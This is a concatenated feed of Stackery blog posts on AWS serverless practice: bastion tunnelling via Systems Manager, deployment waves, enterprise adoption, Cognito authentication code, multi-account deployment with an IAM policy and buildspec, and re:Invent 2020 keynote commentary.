We need a way to create a secure tunnel between ourselves and the private resources in the virtual network. There are multiple ways to create private tunnels, but one of the most cost-effective solutions is running an [SSH Bastion Server](https://aws.amazon.com/blogs/security/controlling-network-access-to-ec2-instances-using-a-bastion-server/).
#### Example #2
1. Add a Bastion Server resource to the Virtual Network. This will create a virtual machine that can be tunneled through using SSH to reach the database server. 2. Switch to the template view to look at the launch configuration for the Bastion Server, noting the addition of the Systems Manager agent.
Traditional SSH Bastion Servers also require static credentials, either username/password or public/private key authentication. The ideal authentication mechanism uses time-based credentials. Thankfully, AWS provides the [Systems Manager Session Manager](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html) service for establishing SSH connections and tunnels to Bastion Servers. It can be used with tools like [ssm-tool](https://github.com/elpy1/ssm-tool) to authenticate and establish connections using single-use, temporary public/private keys.
#### Considerations
When an application resource requires stateful connections and/or static credentials, use the following techniques to securely provision and access them:
- Connect the resource to a private virtual network without a public IP address - Connect compute resources that need to interact with the resource to the virtual network as well - Set up a tunneling mechanism using time-based authentication strategies to be able to interact with the resource from outside the virtual network for development and debugging purposes
### Holistic solutions
While breaking down security solutions based on use cases and resource needs is an important step towards developing the right infosec application architecture, a holistic approach should also identify how humans working in teams collaborate to accurately reproduce these architectures across various projects. It's important to empower developers with the right tools that let them work at a human logic level rather than a machine logic level.
### Conclusion
Stackery's platform enables teams to automate some infosec best practices. Get started today building well-architected applications. <![CDATA[Hands Off Serverless Deployments]]>https://www.stackery.io/blog/hands-off-serverless-deploymentshttps://www.stackery.io/blog/hands-off-serverless-deploymentsOn day two of #reinvent2020 I watched and [tweeted](https://twitter.com/ryanycoleman/status/1334256513725030401) [a](https://twitter.com/ryanycoleman/status/1334256520767234048) [lot](https://twitter.com/ryanycoleman/status/1334256548911038464?s=20) about an awesome talk by [@clare_liguori](https://twitter.com/clare\_liguori) on the AWS Container Services team about hands-off deployments. It's now available to [stream on-demand](https://virtual.awsevents.com/media/1\_fl6gjkhd).
Goal of balancing safety and speed is used throughout examples, geared toward microservices but perfectly applicable to server-based deployments. pic.twitter.com/sYekQlYv9R
— Ryan Coleman (@ryanycoleman) December 2, 2020
Clare focused mostly on production deployments, though pre-production CI/CD was covered at the end of the talk. In my view, while the systems may be similar, the goals differ.
## Hands-off Deployments in Pre-Production Before shipping to production, your deployment pipeline should be concerned with:
- Producing sandbox environments of infrastructure to simulate production conditions - Running unit, integration, and any other relevant test suites that exercise the proposed changes in its sandbox environment - Validating changes against organizational policies and vulnerability assessments, so that in addition to being functional, changes meet governance and configuration standards set by the team - Doing all the above as quickly as possible to provide the team with fast feedback cycles and reduce the cost of iterations to address late-stage issues
### What’s the point?
Before production changes are deployed, **hands-off deployments should be focussed on validating changes in environments that represent production**, with the right **automation** in place to rapidly **identify** **issues** that humans can understand and address.
## Hands-off Deployments in Production 
AWS’s “typical” delivery pipeline represents the scale, complexity, and high-stakes of the AWS public cloud. You do not need your hands-off deployment pipeline to be as broad or as deep. Clare's wonderfully illustrated deployment pattern is generally applicable to deployments of varying scope.
Deployment wave strategy seems to be the preferred hybrid, combining a phased versioning rollout with a mix of region/AZs so that you’re going broader with your change the further into the pipeline you get.
— Ryan Coleman (@ryanycoleman) December 2, 2020
Makes sense, but I’m pondering how to express this in CI/CD systems. pic.twitter.com/9jivLIbMXm
Clare called the strategy deployment waves, and it’s a clever approach to the production deployment mindset of balancing safety and speed.
Visualize it by thinking of a series of waves in the ocean. The waves move toward the shore, which is occupied by customers building their "business sand castles." Each wave represents the latest iteration of code, deployed in sequence. The idea is that you deploy the first wave to a region of the beach where fewer customers are building sand castles.
Once the code is deployed, you use an auto-rollback metrics monitoring strategy to determine whether the change is working nicely for customers. This determines whether a rollback occurs or whether the change proceeds to the second wave of regions.
The second wave goes to a larger region, or perhaps multiple regions, or otherwise represents a larger population of customers that will experience the change being deploying. You continue this process, reinforced by the auto-rollback strategy, until the change is fully deployed everywhere.
**Thus, changes can be deployed as soon as they’re ready, where they’ll be gradually exposed to more customer traffic before being reverted or hitting the metaphorical shore.**
The idea here is that every change can be rolled back, but it doesn’t have to be global- rollback within the wave/region/az that’s hit an alarm but keep rolling everywhere else. pic.twitter.com/l6pBxK0ePM
— Ryan Coleman (@ryanycoleman) December 2, 2020
It may take a few iterations to achieve the deployment wave strategy, with its metrics-driven auto-rollback machinery, but tooling, like [Stackery's CI/CD pipeline](https://docs.stackery.io/docs/using-stackery/dashboard#deployment-pipeline) can bootstrap you most of the way.
With Stackery, you can get started today with a pipeline that handles pre-production sandbox environment management, test runners and vulnerability assessments, and an auto-promotion pipeline that can similar a wave deployment with 1 AWS region in each wave.
<![CDATA[The Serverless Journey: From Developer Success to a Cloud Center of Excellence]]>https://www.stackery.io/blog/whats-next-serverless-adoption-for-the-enterprisehttps://www.stackery.io/blog/whats-next-serverless-adoption-for-the-enterpriseThough the volume of serverless talks is lower this week, the quality and impact lacked nothing. Two must-see presentations emerged highlighting important practices for succeeding with serverless in the enterprise. [Jessica Feng (Serverless Business Development at AWS) and David Anderson (Director of Technology at Liberty Mutual) outlined key steps for scaling success across an organization](https://virtual.awsevents.com/media/1\_rnuuubac), and [Ajay Nair (Director of AWS Lambda at AWS) included great security considerations as he highlighted the business value of serverless](https://virtual.awsevents.com/media/1\_wrjleiff).
In this post I tease out common threads that every enterprise I work with is wading through on their serverless journeys.
- Outcomes: serverless has a track record of delivering customer and business benefits. - Adoption: serverless adoption in the enterprise is a journey that scaled development success in a consistent and secure way. - Security: modern app development yields modern security best practices for enterprises.
## Serverless has a track record of delivering customer and business benefits.
Serverless just [celebrated its 6th birthday](https://offbynone.io/issues/116/#:~:text=On%20November%2013%2C%202014%2C%20AWS,we%20build%20applications%20has%20changed.), and now has enough of a proven track record for delivering results that adoption is becoming more pervasive, even in historically traditional enterprises. **What’s most compelling is how the value of serverless delivers results that seem at odds: faster speed & lower costs AND better scale, quality & security.**
Once emerging technology proves that it helps deliver such clear benefits (especially when they are at opposite ends of the speed←→reliability spectrum) history shows that proliferation in the enterprise comes next. You need not look further than how virtualization, and more recently containers, took off in the enterprise. Both technologies increase agility and improve quality.
So, what does the next wave of serverless adoption look like, then, for enterprises?
## Adoption in the enterprise is a journey that scales development success in a consistent and secure way
Jessica Feng and David Anderson articulated this well in their session.
Jessica highlighted how AWS saw many of their customers resolve the friction of developer experience and security "by working hard to **define** a paved **path** where there's **development teams** and **reduce the amount of time** to get code from idea to production and successful examples of this **includes aligning existing processes skill sets** and **culture** with p**atterns of automation integration,** **continuous delivery** and **monitoring service architectures**."
She also included a visualization of what the journey looks like for successfully scaling initial development success, more pervasively across the organization.
David went on to dive into specific details of how he and the team progressed on this journey at Liberty Mutual. One of the lines that really resonated with what I see in our customer base is the focus on **scaling success by understanding how security and governance fits into the journey**.
He said, "Over the past 12 months is really starting to scale, we find that word 'protected' has been a game changer. I believe this is the secret sauce of cloud adoption, the five pillars [of the Well-Architected Framework] have been very effective in driving the right conversations in our teams operational excellence, security, reliability, performance efficiency, cost optimization."
So, then, how is security different or better with serverless?
## Modern app development yields modern security best practices for enterprises.
Whether you're looking for ephemeral, moving-target security practices, or ensuring least privileged access for serverless resources, serverless helps companies enforce their modern security posture.
Ajay outlines this well. He started by saying, "**No modern application can truly drive customer value without nailing a security proposition**."
From there he articulated three key security-related capabilities. First, how with the Lambda compute substrate, the compute is ephemeral—meaning it only spins up as needed and has a very finite lifetime.
Second, how Lambda "isolates each individual request from each other by guaranteeing an isolated set of resources for every request that your service handles, which also gives you consistent performance benefits".
And third, he talked about how serverless helps avoid binding to a machine or executable, saying that with Lambda "it's not like you're binding your work to a machine or a collection of machines or a specific collection of chips, but instead allow you to focus on matching compute resources, memory, CPU, and network to code and executable."
It's these sorts of security practices that, when applied consistently and at scale, allows centralized IT teams to fuel a chain reaction: empowering their developers—which thereby empowers their customers, partners, and employees with modern application experiences.<![CDATA[How to do Serverless Local Development]]>https://www.stackery.io/blog/how-to-serverless-locallyhttps://www.stackery.io/blog/how-to-serverless-locally<![CDATA[Simple Authentication with AWS Cognito]]>https://www.stackery.io/blog/authentication-aws-cognitohttps://www.stackery.io/blog/authentication-aws-cognitoI was recently doing some work related to [AWS Cognito](https://aws.amazon.com/cognito/), which I wasn't previously familiar with, and it turns out to be pretty interesting. Stackery has a cloud-based app for building and deploying [serverless applications](/content/product/index.html), and we use Cognito for our own authentication.
The thing I was trying to do was hard to figure out but easy once I figured it out, so I'll include some code snippets related to my specific use case. I'm assuming this is only interesting for people who are doing something similar, so it's partly a description of what we do and partly a HOW-TO guide for those who want to do similar things.
### The Basics of Cognito Authentication
Cognito is Amazon's cloud solution for authentication -- if you're building an app that has users with passwords, you can depend on AWS to handle the tricky high-risk security stuff related to storing login credentials instead of doing it yourself. Pricing is based on your number of monthly active users, and [the first 50k users are free](https://aws.amazon.com/cognito/pricing/). For apps I've worked on, we would have been very pleased to grow out of the free tier. It can also do social login, such as "log in with Facebook" and so forth.
Part of the problem I had [getting started with Cognito](/content/blog/cognito-user-pools-cloudformation/index.html) is the number of different architectures and authentication flows that can be implemented. You can use it from a smartphone app or a web app, and you may want to talk to Cognito from the front end as well as the back end. And then security-related APIs tend to be complicated in general.
In our case, we wanted to create user accounts from a back-end NodeJS server and we needed to do sign-in from a mostly-static website. Ordinarily you'd do sign-in from some more structured javascript environment like React. It turns out not to be tricky, but the problem with not using React is that a lot of examples aren't applicable.
### Developer's Guide to Cognito with Stackery Stackery is a cloud-based app for building and deploying serverless applications – [this guide covers how to set up authentication with Cognito and Stackery.](/blog/developers-guide-to-cognito)
### Setting Up The Cognito User Pool
We create user accounts programmatically from our API server, which talks to Cognito as an administrator. We also create a user record in our own database for the user at that time, so we want to control that process. As I implied above, we don't store user credentials ourselves. Our Cognito user pool is configured such that only admins can create users -- the users do not sign themselves up directly.
Setting up the Cognito User Pool is easy once you know what to do. The Cognito defaults are good for what we're doing; although we disable user sign-ups and set "Only allow administrators to create users". We have a single app client, although you could have more. When we create the app client, We do not ask Cognito to generate a client secret -- since we do login from a web page, there isn't a good way to keep secrets of this type.
We set "Enable sign-in API for server-based authentication", named `ADMIN_NO_SRP_AUTH`. ("SRP" here stands for "Secure Remote Password", which is a protocol in which a user can be authenticated by a remote server without sending their password over the network. It would be vital for doing authentication over an insecure network, but we don't need it.)
Assuming you're creating your own similar setup, you'll need to note your User Pool ID and App Client ID, which are used for every kind of subsequent operation.
### The Cognito Public / Private Key Pair
Cognito also makes a public key available that is used later to verify that the client has successfully authenticated. Cognito uses RSA, which involves a public/private key pair. The private key is used to sign a content payload, which is given to the client (it's a JWT, JSON Web Token), and the client gives that JWT to the server in the header of its authenticated requests. Our API server uses the public key to verify that the JWT was signed with the private key.
There are actually multiple public keys involved for whatever reason, but they're available from Cognito as a JWKS ("JSON Web Key Set"). To retrieve them you have to substitute your region and user pool ID and send a GET to this endpoint:
(https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/jwks.json)
To get a user account created from the website, we send an unauthenticated POST to our API server's /accounts endpoint, where the request includes the user's particulars (name and email address) and plaintext password -- so this connection to the API server must obviously be over HTTPS. Our API server creates a user record in our database and uses the key as our own user ID. Then we use the Cognito admin API to create the user.
``` const AWS = require("aws-sdk"); const cognito = new AWS.CognitoIdentityServiceProvider();
// userId - our user record index key
// email - the new user's email address
// password - the new user's password
function createCognitoUser(userId, email, password) {
let params = {
UserPoolId: USER_POOL_ID, // From Cognito dashboard 'Pool Id'
Username: userId,
MessageAction: "SUPPRESS", // Do not send welcome email
TemporaryPassword: password,
UserAttributes: [
{
Name: "email",
Value: email
},
{
// Don't verify email addresses
Name: "email_verified",
Value: "true"
}
]
};
return cognito .adminCreateUser(params) .promise() .then(data => { // We created the user above, but the password is marked as temporary. // We need to set the password again. Initiate an auth challenge to get // started. let params = { AuthFlow: "ADMIN_NO_SRP_AUTH", ClientId: USER_POOL_CLIENT_ID, // From Cognito dashboard, generated app client id UserPoolId: USER_POOL_ID, AuthParameters: { USERNAME: userId, PASSWORD: password } }; return cognito.adminInitiateAuth(params).promise(); }) .then(data => { // We now have a proper challenge, set the password permanently. let challengeResponseData = { USERNAME: userId, NEW_PASSWORD: password };
let params = { ChallengeName: "NEW_PASSWORD_REQUIRED", ClientId: USER_POOL_CLIENT_ID, UserPoolId: USER_POOL_ID, ChallengeResponses: challengeResponseData, Session: data.Session }; return cognito.adminRespondToAuthChallenge(params).promise(); }) .catch(console.error); } ```
Of course the server needs admin access to the user pool, which can be arranged by putting AWS credentials in environment variables or in a profile accessible to the server.
Cognito wants users to have an initial password that they must change when they first log in. We didn't want to do it that way, so during the server-side account creation process, while we have the user's plaintext password, we do an authentication and set the user's desired password as a permanent password at that time. Once that authentication completes, the user password is saved only in encrypted form in Cognito. The authentication process gives us a set of access and refresh tokens as a result, but we don't need them for anything on the server side.
### Client Authentication
When the users later want to authenticate themselves, they do that directly with Cognito from a login web form, which requires no interaction with our API server. Our web page includes the Cognito client SDK bundle. You can read about it on NPM, where there's a download link:
[amazon-cognito-identity](https://www.npmjs.com/package/amazon-cognito-identity-js)
Our web page uses "Use Case 4" described on that page, in which we call Cognito's `authenticateUser()` API to get a JWT access token. That JWT is sent to our API server with subsequent requests in the HTTP Authorization header.
### Server Verification
The API server needs to verify that the client is actually authenticated, and it does this by decoding the JWT. It has the public key set that we downloaded as above, and we follow the verification process described here:
[decode-verify-jwt](https://github.com/awslabs/aws-support-tools/tree/master/Cognito/decode-verify-jwt)
The link has a good explanation, so I won't repeat that.
One of the items in the JWT payload is the username, which allows us to look up our own user record for the authenticated user. And that's all there is to it. I hope this saves someone some time!
### Connect Resources to User Pools With Two Clicks
If you're interested in speedrunning the process of setting up a user pool, Stackery offers a visual tool that lets you plan a new stack with just a few clicks – connecting resources like your Cognito User Pool and User Pool Client are as simple as drawing a line.
Once you’re happy with your configuration, Stackery can push it to AWS by automatically creating the Serverless Application Model (SAM) template based on your diagram. Stackery's complete suite of tools makes it much easier to build and deploy stacks of serverless resources and you [can get started for free](/content/sign-up/index.html).<![CDATA[Best Practices Guide for Multi-Account AWS Deployments]]>https://www.stackery.io/blog/multi-account-best-practiceshttps://www.stackery.io/blog/multi-account-best-practicesOne of the central pillars of abstraction for managing applications built on AWS is the AWS account itself.
When building your first application, you often start with one AWS account. There is no guide built into AWS that suggests otherwise, and you can happily build, test, and deploy a version of your application without thinking much of it. But everything changes once you need to support teams of developers working on many applications.
AWS accounts can be hierarchically related inside an [AWS Organization](https://aws.amazon.com/organizations/). From the root account you can identify branches of accounts that fall under different cost centers and organizational controls. Here’s an example, from [this AWS doc on account structures](https://docs.aws.amazon.com/whitepapers/latest/establishing-enterprise-architecture/organizational-model.html), of what an organization of AWS accounts might look like:
_Here 14 different AWS accounts are used within one company. The separate accounts reflect the organization of this company._
Having hierarchical AWS accounts solves many business operations concerns, including cost allocation and [separation of concerns](https://en.wikipedia.org/wiki/Separation\_of\_concerns). But it also addresses the challenges of application development and delivery.
_The first key concern is limiting who has access to production environments._ While the fine-grained access controls provided by [AWS IAM](https://aws.amazon.com/iam/) make it possible to separate access within AWS accounts, it is easier to reason through separation of access across accounts. For example, a development AWS account can be provided to a team of developers who are granted permissions to manage resources within the account. A separate production account can be locked down such that only the necessary people can access production resources.
_Second, AWS limits are governed at the account level._ By default, you can only invoke 1,000 Lambda functions at the same time within an AWS account. If you mix production and development resources in the same AWS account, then a runaway Lambda recursive invocation in development could exhaust all the available concurrent invocations and break the production infrastructure.
An organization of hierarchical AWS accounts is a key best practice. However, with this additional level of abstraction comes additional challenges in developing and deployment applications.
**This guide will give you key strategies for deploying the same application across multiple AWS accounts.**
## Infrastructure-as-Code is critical
Replicating all the resources necessary to run applications requires automated infrastructure deployment techniques. While deployments could be automated by scripts and other bespoke tooling, advancements in the past few years have shown Infrastructure-as-Code as the most productive way to describe and deploy applications. The biggest player in infrastructure-as-Code is [AWS CloudFormation](https://aws.amazon.com/cloudformation/), which describes all your resources and the connections between them. You write a single template that defines the application infrastructure and it deploys them in a repeatable fashion.
If you’re struggling to master the AWS CloudFormation template format, a tool like Stackery’s visual editor can be helpful, creating that template based on a visual editor.
There’s even a [Visual Studio Code plugin from Stackery](https://marketplace.visualstudio.com/items?itemName=stackery.stackery) that offers a visual editor for your CloudFormation templates.
So if everything is working as it should, you now have your application code and your infrastructure template. Having a template means you can replicate the application without manual steps. This reduces errors and increases the speed of deployments.
This is also why it’s a good idea to store your infrastructure template in the same code repository as your application code. Keeping everything in one place makes it easier to repeat the process when deploying across accounts.
## Parameterizing deployments
With your infrastructure-as-code and application code in one nice repository, you’re ready to deploy your app to multiple accounts. Most applications need a way to differentiate between dev and prod environments. This requires devising a strategy for parameterization. AWS makes it easy to parameterize deployments by using [AWS Systems Manager Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-parameter-store.html) and [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/) to run those environments.
To use CloudFormation with parameters, you can take advantage of the built-in integration with AWS Systems Manager Parameter Store. There’s a great [post detailing this process](https://aws.amazon.com/blogs/mt/integrating-aws-cloudformation-with-aws-systems-manager-parameter-store/) on the AWS Blog.
[Stackery’s environment management ](/content/product/index.html)can be very effective here, as it allows you to group parameters in a namespaced environment, which makes managing parameters and secrets easy.
## Manage deployments on a per-account basis
It can be tempting to try to centralize deploys into a single account, some sort of “core deploy” system where one account has access to the others and is the only place code is released. Unfortunately, this doesn’t scale with organization size because it centralizes processes. As you grow, you’ll want to give people access to deploy to some environments and not others. It’s best, therefore, to manage deploys inside the accounts you are deploying into.
The biggest hurdle to this strategy is how your team moves between these accounts on a day-to-day basis. [AWS SSO](https://aws.amazon.com/single-sign-on/) is a great solution to provide developers with access to multiple AWS accounts with just the right level of permissions for their role.
As an example, when you link multiple AWS accounts to Stackery, each AWS account is set up with its own build infrastructure (an [AWS CodeBuild](https://aws.amazon.com/codebuild/) project, [AWS CloudFormation](https://aws.amazon.com/cloudformation/) stacks, etc.). This architecture enables Stackery’s central service to prepare deployments inside each user’s AWS account, then ask the user to use their AWS credentials (manually or via automation) to execute the changes.
_Stackery’s Deploy dashboard provides controls and a single-pane view of what has been deployed into which AWS account and region_
## Automation is the final step
Once you have deployed your code using the necessary parameters you will be faced with one last issue: it’s somewhat tedious to have human engineers logging into these accounts to deploy your applications.
A better strategy would be to make use of some kind of automation. But how do you ensure that this automation has the necessary permissions?
This is where you need to set up the kind of roles that can become part of the deployment mechanism. For example, if you’re using [AWS CodeBuild](https://aws.amazon.com/codebuild/) jobs, they must be able to assume an IAM role to deploy all the resources for your application. It’s recommended to provide a minimum set of permissions required for managing resources.
For example, you can configure an AWS CodeBuild job to execute a deployment that provisions [AWS Lambda Functions](https://aws.amazon.com/lambda/) using the Stackery CLI by providing it a role that includes permissions to execute [CloudFormation](https://aws.amazon.com/cloudformation/) Change Sets and provision resources in the template. This is an example [AWS IAM](https://aws.amazon.com/iam/) policy with the permissions necessary to manage Lambda Functions:
```yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"cloudformation:ExecuteChangeSet",
"lambda:AddPermission",
"lambda:CreateAlias",
"lambda:CreateEventSourceMapping",
"lambda:CreateFunction",
"lambda:DeleteAlias",
"lambda:DeleteEventSourceMapping",
"lambda:DeleteFunction",
"lambda:DeleteFunctionConcurrency",
"lambda:GetAlias",
"lambda:GetEventSourceMapping",
"lambda:GetFunction",
"lambda:GetFunctionConfiguration",
"lambda:ListAliases",
"lambda:ListEventSourceMappings",
"lambda:ListFunctions",
"lambda:ListTags",
"lambda:ListVersionsByFunction",
"lambda:PublishVersion",
"lambda:PutFunctionConcurrency",
"lambda:TagResource",
"lambda:UntagResource",
"lambda:UpdateAlias",
"lambda:UpdateEventSourceMapping",
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration"
],
"Resource": "*"
}
]
}
```
Then, inside the CodeBuild job you have a BuildSpec that asks Stackery to deploy the stack:
```yaml version: 0.2
phases: install: runtime-versions: nodejs: 10 commands: - curl -Ls https://ga.cli.stackery.io/linux.zip > stackery.zip - unzip stackery.zip post_build: commands: - stackery deploy --stack-name functions --env-name staging --execute-changeset $CHANGE_SET_ARN ```
When the CodeBuild job is executed, you pass in the CloudFormation Change Set ARN of the prepared deployment and Stackery will do the rest using the permissions granted to the CodeBuild project.
## A good multi-account strategy grows with you
The requirements of a large-scale multi-account architecture aren’t all practicable if your application is still a prototype. If you’re only releasing once a week, it’s perfectly reasonable to manually deploy each release to dev and prod, in turn, using the AWS CLI.
As you grow you’ll want to adopt the key pieces mentioned here:
\* Infrastructure-as-Code \* Parameterization tooling \* Automation of releases
With these strategy points in place, your team should have the sandbox they need to experiment, and the production-stability you need to deliver high-performing applications.<![CDATA[Managed Services Drive Business Impact, but Infrastructure isn’t Disappearing Overnight]]>https://www.stackery.io/blog/reinvent-future-of-serverless-for-businesshttps://www.stackery.io/blog/reinvent-future-of-serverless-for-businessFor decades organizations have struggled to balance developer speed and enterprise governance. This evergreen tension was a central theme at AWS re:Invent this week—just with updated, modern details (think containers, serverless, and even air gapped edge computing!).
In this post I highlight three conversations from this week that revolve around increasing speed and business impact, and how to start to modernize traditional processes.
1. Modern applications that blend containers, serverless, and managed services are the future (they make development faster and easier, and give teams more operational control). 2. Managed services = focus on customer value and business impact, rather than commodity infrastructure. 3. Infrastructure management isn’t disappearing overnight … and there’s an opportunity hidden here that the best companies will take advantage of.
 Natalia Girolamo, Technical Program Manager at AWS, highlighted the common theme of governance & agility. Source: [*Getting enterprises in the cloud: Cloud management with AWS*](https://virtual.awsevents.com/media/1\_yknnmc03)
## Modern applications that blend containers, serverless, and managed services are the future (they make development faster and easier, and give teams more operational control).
The most progressive orgs are already building apps that use the best of serverless, containers, and their own technology. Why? It allows them to get the best of the cloud (think scale, and security) but still integrate proprietary (often legacy) technology. For example, one of our healthcare customers provides a modern integration experience across older but pervasive healthcare tech. They do this by wrapping burst-able event-driven serverless infrastructure around long-lived VPN tunnels. This allows them to connect data from a source they don’t control or define to a destination they don’t control or define, and do it securely and cheaply. The end result is a mix of AWS ECS Fargate and Network Load Balancers for non-HTTP endpoint termination that feeds into a completely serverless ETL backend.
This modern hybrid application combines customer-owned components (new and legacy), managed service offerings (e.g., functions, API gateways, queues, tables, object stores, etc.), and SaaS offerings. And one of the ways this shows up technically is you see more-and-more around serverless + containers. You don’t have to look farther than Andy Jassy’s keynote to see a few examples: - Jassy highlighted the importance of Fargate, a container-based managed service. - He announced AWS’s new ability to package Lambda Functions like you do containers. - Finally, he introduced AWS Proton, which starts to provide a more cohesive experience as cloud teams deliver modern infrastructure for containers and serverless.
Regardless of how exciting the technology is, what’s most important is why it matters. **Leveraging a mix of serverless + containers in modern applications allows teams to move fast, build applications that can include critical legacy services, and provide more operational control for teams building and delivering applications.** After all, when you build serverlessly, infrastructure-as-code is a requirement—not simply a best practice. This affords all sorts of fine-grained security and operational control.
## Managed services = focus on customer value and business impact, rather than commodity infrastructure.
My favorite part of the week so far was hearing from organizations like LEGO, Carrier, Silicon Valley Bank, Goldman Sachs and more. The premium they all place on delivering customer value and making an impact is wonderfully apparent.
Maira Farrugia, Head of Digital Architecture at Vodafone UK represents this idea clearly when she says, *"By removing the complexity of infrastructure management and shifting some responsibilities, like OS hardening and patching, onto AWS [Fargate], we can reduce the amount of resources we spend on these tasks and instead focus on adding value to our Vodafone customers."*
Check out the rest of Saloni Sonpal’s talk [*AWS Fargate: Are serverless containers right for you?*](https://virtual.awsevents.com/media/1\_y439xtvx) for more details.
Every single company I spoke with since last year’s re:Invent is doing something around serverless and managed services. It may not be pervasive yet, but it’s apparent that it accelerates delivering customer value while wasting zero resources on unnecessary infrastructure complexity.
 Roy Penn, VP of Engineering at Amenity Analytics shows how Fargate (AWS's container-based managed service) drives value for them. Source: [*AWS Fargate: Are serverless containers right for you?*](https://virtual.awsevents.com/media/1\_y439xtvx)
## Infrastructure management isn’t disappearing overnight … and there’s an opportunity hidden here there for the best companies to advantage of.
For as much as I love seeing the power of serverless and managed services empower enterprises, I’m under no illusions. Most enterprises have been successful with managed services in pockets and isolation—but that success is by no means pervasive across the entire organization.
For all the talk of DevOps over the past years, Dev and Ops are largely separate. Central IT and operational teams have rich and long-standing experience in making sure mission critical infrastructure and applications are available, secure, and performing. Their success has also yielded a momentum that will be difficult to change rapidly—even for the most committed and willing enterprises.
That’s why I was excited to see AWS announce the preview of [Proton](https://aws.amazon.com/blogs/aws/preview-aws-proton-automated-management-for-container-and-serverless-deployments/). It’s aimed at the centralized teams (commonly called Cloud Centers of Excellence, Cloud Platform Teams, Platform Delivery Teams, etc.), and allows them to take well-understood and proven infrastructure development and provisioning practices, and apply them to modern technology like containers and serverless.
 Source: Andy Jassy, CEO of Amazon Web Services. *[re:Invent 2020 Keynote](https://virtual.awsevents.com/media/1\_2dqukpps)\*
Common criticisms I’ve heard upon the announcement of Proton poked at how it applies a traditional approach to new technology and only perpetuates bottlenecks and fractured development and ops teams. Though there is truth in that, there is power in that approach. By talking familiar and acceptable practices—think VMware’s vRealize blueprinting and self-service provisioning, but for containers and serverless—it gives centralized IT teams a way to embrace and support new technologies and developer autonomy, while working within well-understood provisioning and delivery models. Proton appears to be a pretty raw preview still. It's also very ops- and infrastructure-focused, leaving plenty of gaps to fill on the modern application development front. However, once it's ready for primetime, I think it will be a powerful stepping stone for enterprises steeped in traditional administrative processes to safely move to the future of application development and delivery.
What did you make of this year's announcements and the tidal change related to serverless and DevOps? Join me and the Stackery team for our TwitterChat on Dec 16 at 2 pm PST. And follow the rest of the team as they analyze re:Invent at our [re:Invent hub. ](/content/reinvent/index.html)<![CDATA[Andy Jassy Keynote Response]]>https://www.stackery.io/blog/reinvent-2020-andy-jassy-keynote-modern-architecturehttps://www.stackery.io/blog/reinvent-2020-andy-jassy-keynote-modern-architectureAndy Jassy's re:Invent keynote today was chock full of new features and services. I'm here to help break down the most important news related to modern application architecture. If you've read [my first post](/content/blog/architecting-your-reinvent-experience/index.html) about how to consume re:Invent content, you won't be surprised to see below that I'm pointing out news that tell us a larger story about how to ship applications in 2021 and beyond.
### Container Image Support for Lambda Functions  Modern applications use managed services wherever possible. The purest form of managed services for compute is AWS Lambda. Write your code and AWS will bill it for the amount of time (now down to individual milliseconds!) it runs.
While the runtime model of Lambda is exceptionally powerful, the tooling for creating Lambda packages had some issues. Lambda packages had to be uploaded as Zip files less than 250 MB in size. This caused two problems:
- Functions needing more than 250 MB of data, say for AI/ML workloads, didn't fit - Organizations with a lot of tools and processes in place to manage Docker Container Images couldn't reuse them for Lambda
Now you can use [Container Images for Lambda](https://aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/) and specify images up to 10 GB in size! Check out [our blog post](/content/blog/launch-aws-container-images/index.html) for more info.
**What's the point?** Now, organizations with either Lambda or Docker Container packaging tools and processes can adopt Lambda Functions more easily!
### Aurora Serverless v2
If you aren't steeped in AWS terminology you may need a refresher. AWS Aurora is a managed MySQL or PostgreSQL database cluster service, and Aurora Serverless is the auto- and semi-horizontally scaling version of it. Last year, Aurora Serverless v1 was introduced, and it provided lots of important capabilities to help teams manage reasonable-sized DB workloads in a cost-effective manner.
Now, AWS has come back with a [second version in preview](https://aws.amazon.com/about-aws/whats-new/2020/12/introducing-the-next-version-of-amazon-aurora-serverless-in-preview/).
Key improvements include:
- Much faster scaling ("Scale database workloads to hundreds of thousands of transactions in a fraction of a second") - Global provisioning (Great for disaster recovery planning, no more need to manage snapshots cross-region) - Read replicas (Improves scalability for workloads with lots of read-only functionality)
**What's the point?** AWS clearly sees databases as a way to outdo the competition. Andy Jassy specifically talked about Microsoft's MSSQL pricing as justification for why customers are choosing AWS for workloads.
AWS is innovating by making it so much easier to operationalize a highly scalable and resilient RDBMS system. When building new architectures, use DynamoDB if you don't need relational solutions, but Aurora Serverless makes it more reasonable to build modern apps with relational databases than ever before.
### AWS Proton: Enterprise Platform For Centralized Deployments
Twitter is abuzz with interest around [AWS Proton](https://aws.amazon.com/proton/), the new service that aims to help enterprises manage deployments. [This thread](https://twitter.com/Rafavallina/status/1333888010077626368) from the product lead for Proton explains the target development process: 
You'll notice the centralized platform team (called "Administrators" in this image from the official docs) writes and maintains the infrastructure code, and the development teams write and maintain the business logic for applications and services. Using Proton, these two teams work together to define environments and deploy services into them.
**What's the point?** AWS finally has a single service solution to manage both application resources and environments they run within. This is great, and there are other neat concepts included, like service versioning and mechanisms to share resource identifiers across services and within an environment.
However, this guarded platform approach is an anti-pattern for modern architecture development. It splits architecture development between teams. Having the central platform team own all infrastructure development also creates a bottleneck for the development teams.
For example, each Lambda Function added to an application will require the development team to ask the platform team to create the Function and its IAM Role. And the IAM Role must to be granted permissions to other resources it needs to interact with. There's a lot of information here that must be transferred between the two teams in order for the platform team to start working, and in the meantime the development team is blocked until the Proton templates are updated and re-provisioned.
Proton is in preview, and I expect many concerns to be addressed over time. I'm looking forward to best practices solidifying around environment management and resource sharing. I'm thankful Proton is at the very least a great attempt to solve these challenges!
**Now what?**
These are just the most interesting three announcements I saw that are shaping my understanding of modern application development now and into the future. But re:Invent is just getting started! With the greatest announcements already shared in the keynote, it's time to turn our attention to the leadership sessions and dive into product sessions to understand how best to use these new capabilities!<![CDATA[Andy Jassy's 2020 re:Invent Keynote, for DevOps]]>https://www.stackery.io/blog/reinvent-2020-keynote-devops-rounduphttps://www.stackery.io/blog/reinvent-2020-keynote-devops-roundupAs expected, AWS CEO [Andy Jassy’s keynote](https://virtual.awsevents.com/media/1\_2dqukpps) was full of pomp and announcements. They reinvented everything and think you should too. Let’s get into it.
